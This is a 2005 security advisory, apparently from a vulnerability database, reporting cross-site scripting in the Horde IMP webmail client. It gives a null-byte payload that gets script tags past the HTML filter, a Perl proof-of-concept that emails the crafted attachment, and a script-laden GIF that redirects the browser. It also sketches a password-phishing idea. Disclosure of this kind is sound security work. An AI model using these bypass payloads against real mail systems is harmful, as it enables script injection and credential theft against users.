Horde IMP Webmail Client XSS all versions

2005-12-06 / 2005-12-07
Credit: Igor
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Hello All, PRELUDE What is HORDE? http://www.horde.org/about/ The Mission The Horde Project is about creating high quality Open Source applications, based on PHP and the Horde Framework. The guiding principles of the Horde Project are to create solid standards-based applications using intelligent object oriented design that, wherever possible, are designed to run on a wide range of platforms and backends. There is great emphasis on making Horde as friendly to non-English speakers as possible. The Horde Framework currently supports many localization features such as unicode and right-to-left text and generous users have contributed many translations for the framework and applications. http://www.horde.org/imp/about/ Currently Horde Project boasts many applications, some already enterprise-ready and deployed in demanding environments, and some exciting new ones still in development. http://www.horde.org/imp/4.0/ DESCRIPTION HORDE IMP is implementing a security strategy based on attempt to strip HTML tags it considers harmful. Before printing an attached file Horde will try to strip tags like <script>, <link> etc. I can almost see you growing bored at this point - the topic is so well-trodden, nevertheless I will continue. Those who is exploiting this bug now - don't be sorry for it going public - there are numerous but less apparent security issues with Horde Imp which will still allow you to achieve the same effect when the bug is fixed. The next part is going to be a short one, there is nothing to explain, the example is self-commented and well known: <s0x00hcript>alert('HORDE')</s0x00hcript> 0x00h is an ASCII 00 At this point the marvelous strategy of "stripping" will fail to strip <script> as well as the other arbitrary tags which are otherwise filtered rendering IMP into some moderate quality software. (Will work only for IE). One can devise various examples playing with unicode attachments and strings. Yes it looks like Horde doesn't not know how to handle utf16 attachments. As far as this direction is exploited - there is a wide playground for those, who are interested, in almost every line of Horde products. POC # # MIME::Liet SMTP client by C3PO # use strict; use MIME::Base64; use MIME::Lite; #---------------------------------------------------- # load_file #---------------------------------------------------- sub load_file{ my($file) = shift; my($Body); open(IN, $file) || die("Can't open $file $!"); binmode IN; read(IN, $Body, -s $file); close(IN); return $Body; } #---------------------------------------------------- # main #---------------------------------------------------- my $c = load_file('Xploitshorderpassed.htm'); #content my $m = MIME::Lite->new( From =>'mail (at) domain (dot) zone [email concealed]', To =>'mail (at) domain (dot) zone [email concealed]', Subject =>'Horde', Date =>"Tue, 17 Dec 2002 22:00:02 +0300", Type =>"text/html", Data => $c, Filename=>"horde.html", Encoding =>'base64' ); $m->attr('content-type.charset' => 'windows-1251'); #not necessary $m->send("smtp","smtp.domain.zone"); passed.htm may contain an arbitrary HTML code and javascript, as long as IE is used to view an attachment. Just save some page and, using any HEX editor (preferable HIEW, of course) insert <s0x00hcript>alert('HORDE')</s0x00hcript> in it. Attach this file, send it on your mail and view via IMP Webmail using IE. Yes, your guess is a correct one, image attachments are all so affected: test.gif <script language=javascript> alert('GIF'); document.location.href='http://i3.microsoft.com/h/en-us/i/one_care_2_10. jpg'; </script> Attach this gif and try to view it in Horde Imp. Never ever give direct links on images in your software, especially when the images are not checked. (IE behavior) Given this mechanism an attacker may easily steal user password by devising a DHMTL attachment which will obfuscate user input, i.e. impersonating the server it will raise an Apache authorization window and give some "Your password is expired" crap. The example is not provided. Yet a closer introspection into the source codes and algorithms may reveal some other interesting yet questionable strategies which I leave for you to mess with. -- Best regards

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com


Back to Top